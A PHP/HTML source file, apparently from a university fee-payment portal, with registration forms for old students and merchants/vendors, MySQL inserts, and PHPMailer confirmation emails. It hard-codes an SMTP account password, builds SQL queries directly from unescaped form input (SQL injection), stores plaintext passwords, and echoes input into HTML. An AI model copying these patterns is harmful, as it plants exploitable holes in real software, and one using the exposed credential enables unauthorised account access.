//$smtp = mail::factory('smtp', array ('host' => "smtp.gmail.com:587",'auth' => true, 'username' => "admin-account@iiitd.ac.in",'password' => "BKWga&2m")); //$sentmail = mail($to,$subject,$message,$header); //$sentmail = $smtp->send($to, $subject, $message, $headers); /*if(!$sentmail) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>Student Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confirmation e-mail to ".$_POST[OEmail].". Please click the confirmation link in your e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:abhinay@iiitd.ac.in'>abhinay@iiitd.ac.in</a> or by call at 011-26907576 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; }*/ }} $show_form=false; } else { echo "<h3 style='color:#F00'>Errors for old students:</h3>"; $error_hash = $validator->GetErrors(); foreach($error_hash as $inpname => $inp_err) { echo "<p style='color:#F00'>$inp_err</p>\n"; } }//else }//?> <!--<h2 class="acc_trigger"><a href="#"><strong>For old students (Having Roll number)</strong></a></h2> --> <h2 class="acc_trigger"><a href="#"><strong>Registration for old students (Having Roll number)</strong></a></h2> <div class="acc_container"> <div class="block"> <?PHP //include the main validation script //if(isset($_POST['Submit'])) if(true == $show_form) {?> <FORM name='oldstudent' action='' method='post' encType= 'multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td>Full name</td> <td><input type="text" name="OName" /></td> <td>Full Address</td> <td><input type="text" name="OAddress"/></td></tr> <tr><td>Mobile Number</td> <td>+91<input type="text" name="OMobileNo" maxlength="10" size="16"></td> <td>Roll number</td> <td><input type="text" name="RollN" maxlength="15"/></td></tr> <tr><td>Course</td> <td><select name="OCourse"> <option>B.Tech.</option> <option>M.Tech.</option> <option>Ph.D.</option> <option>Other</option> </select></td> <td>Email</td> <td><input type="text" name="OEmail"/></td> </tr> <tr> <td>Password</td> <td><input type="password" name="OPassword"></td> <td>Confirm Password</td> <td><input type="password" name="cPassword"></td> </tr> <tr> <td colspan="4" align="center"> <input type="submit" name="Submitold" value=" Submit " /> <input name="Reset" type="reset" value=" Reset " /> </td> </tr> </TBODY> </table> </form><?PHP }//true == $show_form ?></div> </div> <?php //include the main validation script require_once "formvalidator.php"; $show_form=true; if(isset($_POST['SubmitM'])) {// The form is submitted //Setup Validations $validator = new FormValidator(); $validator->addValidation("MName","req","Name is required"); $validator->addValidation("CName","req","Company Name is required"); $validator->addValidation("DealsIn","req","Deals in is required"); $validator->addValidation("MPassword","req","Password is required"); $validator->addValidation("MMobileNo","req","Mobile Number is required"); $validator->addValidation("MMobileNo","num","Mobile Number should be numeric"); $validator->addValidation("pin","num","PIN Code should be numeric"); $validator->addValidation("MEmail","email","The input for Email should be a valid email value"); $validator->addValidation("MEmail","req","Email is required"); //Now, validate the form if($validator->ValidateForm()) { //Validation success. //Here we can proceed with processing the form //(like sending email, saving to Database etc) // In this example, we just display a message $select = "Select * from user where Email='$_POST[MEmail]'"; $result = mysql_query($select,$db_connection); if($row=mysql_fetch_array($result)) { echo $row['Name']." had already registered with id: ".$row['Email']."<br><br> If you forget your password <a href='ForgetPasswordPage.php'> Click Here </a>to retrive it !"; }else { $sql ="INSERT INTO user(Name,Email,Password,Mobile,UType,CName,DealsIn,Adress) VALUES ('$_POST[MName]','$_POST[MEmail]','$_POST[MPassword]','$_POST[MMobileNo]',0,'$_POST[CName]','$_POST[DealsIn]','$_POST[Address] ,Pin: $_POST[pin]')"; //echo $sql; if (!mysql_query($sql,$db_connection)) { die('Error: ' . mysql_error()); echo "error"; } else { $UserId= mysql_insert_id($db_connection); $to=$_POST['MEmail']; // Recipients email ID $name=$_POST['MName']; // Recipients name $from = "admin-account@iiitd.ac.in"; $subject = "Welcome to IIIT Delhi - Payment Process"; $message = "<html> <head><meta http-equiv='content-type' content='text/html; charset=utf-8' /></head><body><table width='609' border='0' height='100%' cellpadding='0' cellspacing='0' align='center' style='margin:0; padding-bottom:0'> <tr style='margin:0; padding-bottom:0' bgcolor='#f2f5fc'> <td colspan='3' style='margin:0; padding-bottom:0' align='center'><img src='https://payments.iiitd.edu.in/pg/fees/logo.jpg' style='margin:0; padding-bottom:0'/></td> </tr> <tr> <td width='29' bgcolor='#f2f5fc'> </td> <td style='padding:10px 10px 10px 10px'><font face='Verdana, Geneva, sans-serif' size='-1'><br>Dear ".$_POST['MName']."<br/>Your mobile number: ".$_POST['MMobileNo']."<br/>Your Company Name: ".$_POST['CName']." <br />Your Company Dealsin: ".$_POST['DealsIn']." <br />Please click the link below to confirm your details. <br> <a href='https://payments.iiitd.edu.in/pg/fees/welcome.php?ID=".$UserId."&UType=3'>Confirm vendor Registration</a></font><br><br><br></td> <td bgcolor='#f2f5fc' width='29'> </td> </tr> <tr bgcolor='#f2f5fc'> <td colspan='3' bgcolor='#f2f5fc' align='center' >System Manager : Mr. Abhinay Saxena | <a href='mailto:abhinay@iiitd.ac.in' target='_blank'>abhinay@iiitd.ac.in</a></td> </tr> </table></body></html>";//HTML Body $header = "From: " . $from . "\r\nReply-To: " . $from . ""; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html; charset: utf8\r\n"; $headers .= "Return-Path: admin-account@iiitd.ac.in\r\n"; $mail= new phpmailer(); //Enable SMTP debugging. //$mail->SMTPDebug = 3; //Set PHPMailer to use SMTP. $mail->isSMTP(); //Set SMTP host name $mail->Host = "smtp.gmail.com"; //Set this to true if SMTP host requires authentication to send email $mail->SMTPAuth = true; //Provide username and password $mail->Username = "admin-account@iiitd.ac.in"; $mail->Password = "BKWga&2m"; //If SMTP requires TLS encryption then set it $mail->SMTPSecure = "tls"; //Set TCP port to connect to $mail->Port = 587; $mail->From = "admin-account@iiitd.ac.in"; $mail->FromName = "Admin Account"; $mail->addAddress($to,$name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $message; //$mail->AltBody = "This is the plain text version of the email content"; if(!$mail->send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>Merchant/Vendor Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confirmation e-mail to ".$_POST['MEmail'].". Please click the confirmation link in your e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:abhinay@iiitd.ac.in'>abhinay@iiitd.ac.in</a> or by call at 011-26907576 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; } //$sentmail = mail($to,$subject,$message,$header); /*if(!$sentmail) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>Merchant/Vendor Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confirmation e-mail to ".$_POST[OEmail].". Please click the confirmation link in your e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:abhinay@iiitd.ac.in'>abhinay@iiitd.ac.in</a> or by call at 011-26907576 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; }*/ }} $show_form=false; } else { echo "<h3 style='color:#F00'>Errors for Vendors:</h3>"; $error_hash = $validator->GetErrors(); foreach($error_hash as $inpname => $inp_err) { echo "<p style='color:#F00'>$inp_err</p>\n"; } }//else }//if(isset($_POST['Submit']))?> <!--<h2 class="acc_trigger"><a href="#"> <strong>For Merchants / Vendors</strong></a></h2> <div class="acc_container"> <div class="block"> <?PHP if(true == $show_form) {?> <FORM name='form' action='' method='post' encType= 'multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td width="99">Full name</td> <td width="210"><input type="text" name="MName" /></td><td >Company Name</td> <td width="210"><input type="text" name="CName" /></td> </tr> <tr> <td width="99">Full Address</td> <td width="210"><input type="text" name="Address" /></td> <td width="99">Pincode</td> <td width="210"><input type="text" name="pin" maxlength="6"/></td> </tr> <tr> <td width="99">Deals in</td> <td width="210"><input type="text" name="DealsIn" /></td> <td>Mobile Number</td> <td>+91<input type="text" name="MMobileNo" maxlength="10" size="16"></td> </tr> <tr> <td>Email</td> <td><input type="text" name="MEmail"/></td> <td>Password</td> <td><input type="password" name="MPassword"></td> </tr> <tr> <td colspan="4" align="center"><input type="submit" name="SubmitM" value=" Submit " /> <input name="Reset" type="reset" value=" Reset " /></td> </tr> </TBODY> </table> </form><?PHP }//true == $show_form ?></div> </div> --> </div> </div></body></html>
Close